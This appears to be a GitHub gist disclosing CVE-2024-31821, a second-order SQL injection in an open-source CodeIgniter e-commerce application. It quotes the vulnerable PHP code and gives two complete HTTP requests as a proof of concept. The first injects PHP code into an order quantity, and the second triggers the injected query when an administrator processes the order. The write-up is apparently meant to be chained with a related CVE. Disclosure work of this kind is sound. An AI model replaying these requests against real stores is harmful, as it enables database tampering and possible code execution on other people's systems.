Skip to content

Instantly share code, notes, and snippets.

@LioTree
Last active April 28, 2024 12:44
Show Gist options
  • Save LioTree/5c963a37e2c335c22e74ca3d9aea32bb to your computer and use it in GitHub Desktop.
Save LioTree/5c963a37e2c335c22e74ca3d9aea32bb to your computer and use it in GitHub Desktop.
CVE-2024-31821

vendor: kirilkirkov/Ecommerce-CodeIgniter-Bootstrap (github.com)

version: before Vulnerability fixes from Lion Tree · kirilkirkov/Ecommerce-CodeIgniter-Bootstrap@d22b54e (github.com)

A second-order SQL injection vulnerability is in manageQuantitiesAndProcurement method of application/modules/admin/models/Orders_model.php. The $product['product_quantity'] and $product['product_info']['id'] are inserted into SQL statements without any sanitizers. These two values come from previous query result and users can control them in setOrder method of application/models/Public_model.php, which leads to a SQL injection.

private function manageQuantitiesAndProcurement($id, $to_status, $current)
    {
        if (($to_status == 0 || $to_status == 2) && $current == 1) {
            $operator = '+';
            $operator_pro = '-';
        }
        if ($to_status == 1) {
            $operator = '-';
            $operator_pro = '+';
        }
        $this->db->select('products');
        $this->db->where('id', $id);
        $result = $this->db->get('orders');
        $arr = $result->row_array();
        $products = unserialize($arr['products']);
        foreach ($products as $product) {
                if (isset($operator)) {
                    if (!$this->db->query('UPDATE products SET quantity=quantity' . $operator . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
                        log_message('error', print_r($this->db->error(), true));
                        show_error(lang('database_error'));
                    }
                }
                if (isset($operator_pro)) {
                    if (!$this->db->query('UPDATE products SET procurement=procurement' . $operator_pro . $product['product_quantity'] . ' WHERE id = ' . $product['product_info']['id'])) {
                        log_message('error', print_r($this->db->error(), true));
                        show_error(lang('database_error'));
                    }
                } 
        }
    }
public function setOrder($post)
    {
        $q = $this->db->query('SELECT MAX(order_id) as order_id FROM orders');
        $rr = $q->row_array();
        if ($rr['order_id'] == 0) {
            $rr['order_id'] = 1233;
        }
        $post['order_id'] = $rr['order_id'] + 1;

        $i = 0;
        $post['products'] = array();
        foreach ($post['id'] as $product) {
            $post['products'][$product] = $post['quantity'][$i];
            $i++;
        }
        unset($post['id'], $post['quantity']);
        $post['date'] = time();
        $products_to_order = [];
        if(!empty($post['products'])) {
            foreach($post['products'] as $pr_id => $pr_qua) {
                $products_to_order[] = [
                    'product_info' => $this->getOneProductForSerialize($pr_id),
                    'product_quantity' => $pr_qua
                    ];
            }
        }
        $post['products'] = serialize($products_to_order);
        $this->db->trans_begin();
        if (!$this->db->insert('orders', array(
                    'order_id' => $post['order_id'],
                    'products' => $post['products'],
                    'date' => $post['date'],
                    'referrer' => $post['referrer'],
                    'clean_referrer' => $post['clean_referrer'],
                    'payment_type' => $post['payment_type'],
                    'paypal_status' => @$post['paypal_status'],
                    'discount_code' => @$post['discountCode'],
                    'user_id' => $post['user_id']
                ))) {
            log_message('error', print_r($this->db->error(), true));
        }
        $lastId = $this->db->insert_id();
        if (!$this->db->insert('orders_clients', array(
                    'for_id' => $lastId,
                    'first_name' => $this->encryption->encrypt($post['first_name']),
                    'last_name' => $this->encryption->encrypt($post['last_name']),
                    'email' => $this->encryption->encrypt($post['email']),
                    'phone' => $this->encryption->encrypt($post['phone']),
                    'address' => $this->encryption->encrypt($post['address']),
                    'city' => $this->encryption->encrypt($post['city']),
                    'post_code' => $this->encryption->encrypt($post['post_code']),
                    'notes' => $this->encryption->encrypt($post['notes'])
                ))) {
            log_message('error', print_r($this->db->error(), true));
        }
        if ($this->db->trans_status() === FALSE) {
            $this->db->trans_rollback();
            return false;
        } else {
            $this->db->trans_commit();
            return $post['order_id'];
        }
    }

The steps to reproduce are as follows(Assuming there exists a product):

  • Inject malicious SQL statement into orders table (Here I inject <?php phpinfo();?> to cause an error in SQL query, which will be used in CVE-2024-31820).
POST /Ecommerce-CodeIgniter-Bootstrap/checkout HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/checkout
Cookie: ci_session=pdjd6p7466aoamfqj94n5dlemovk8d52; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

payment_type=cashOnDelivery&first_name=test&last_name=test&email=test%40test.com&phone=123456&address=test&city=test&post_code=&notes=&discountCode=&id%5B%5D=2&quantity%5B%5D=<?php%20phpinfo();?>&final_amount=100.00&amount_currency=%E2%82%AC&discountAmount=
  • When the adminstrator processes this order, malicious SQL statement will be executed.

Pasted image 20240103001200

POST /Ecommerce-CodeIgniter-Bootstrap/admin/changeOrdersOrderStatus HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 948
Origin: http://localhost
Connection: close
Referer: http://localhost/Ecommerce-CodeIgniter-Bootstrap/admin/orders
Cookie: ci_session=uorgo8vkqc9u130ejr3bueljd3kaai3v; shopping_cart=a%3A1%3A%7Bi%3A0%3Bi%3A2%3B%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

the_id=8&to_status=1&products=a%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A12%3A%22product_info%22%3Ba%3A17%3A%7Bs%3A11%3A%22vendor_name%22%3BN%3Bs%3A9%3A%22vendor_id%22%3Bs%3A1%3A%220%22%3Bs%3A2%3A%22id%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22folder%22%3Bs%3A10%3A%221704214075%22%3Bs%3A5%3A%22image%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22time%22%3Bs%3A10%3A%221704214090%22%3Bs%3A11%3A%22time_update%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22visibility%22%3Bs%3A1%3A%221%22%3Bs%3A14%3A%22shop_categorie%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22quantity%22%3Bs%3A5%3A%2210000%22%3Bs%3A11%3A%22procurement%22%3Bs%3A1%3A%220%22%3Bs%3A9%3A%22in_slider%22%3Bs%3A1%3A%220%22%3Bs%3A3%3A%22url%22%3Bs%3A6%3A%22test_2%22%3Bs%3A16%3A%22virtual_products%22%3BN%3Bs%3A8%3A%22brand_id%22%3BN%3Bs%3A8%3A%22position%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22price%22%3Bs%3A3%3A%22100%22%3B%7Ds%3A16%3A%22product_quantity%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3B%7D%7D&userEmail=test%40test.com

In application/logs/log-xxxx.php, error message of SQL query will appear, which illustrates the presence of SQL injection.

<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
......
ERROR - 2024-01-03 01:24:45 --> Query error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<?php phpinfo();?> WHERE id = 2' at line 1 - Invalid query: UPDATE products SET quantity=quantity-<?php phpinfo();?> WHERE id = 2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment